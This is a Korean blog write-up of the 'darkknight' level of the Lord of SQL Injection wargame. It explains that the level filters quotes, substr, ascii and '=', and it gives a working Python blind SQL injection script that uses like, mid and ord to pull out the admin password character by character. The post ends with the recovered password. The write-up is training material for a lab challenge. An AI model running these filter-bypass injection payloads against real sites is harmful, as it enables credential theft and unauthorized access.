Web Hacking/Lord of SQL Injection

[Lord of SQL Injection] darkknight

SolB 2022. 10. 2. 16:06

pw에서 싱글쿼터의 입력을 막아두었고, no에서 싱글쿼터, substr, ascii, =의 입력을 막아둔 상태이다.

 

아래는 비밀번호를 구하는 자동화 스크립트이다.

import requests

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
cookies = {'PHPSESSID' : 'hhh6husmeed2bk878j8u8sp1ak'}

len=0
while True:
    len+=1
    print(len)
    val="1 || id like \"admin\" && length(pw) like {} #".format(len)
    params={'no':val}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        val="1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(k, j)
        params={'no':val}
        res=requests.get(url, params=params , cookies=cookies)
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

ord함수는 문자를 인자로 받고, 그 문자에 해당하는 유니코드 정수를 반환한다.

이전 단계에서는 ascii함수를 이용했는데 이를 이용할 수 없어 ord함수를 이용해 자동화 스크립트를 작성하였다.

 

아래는 위 코드를 실행한 결과이다.

 

 

?pw=0b70ea1f를 입력해주었더니 아래와 같이 Clear하였다.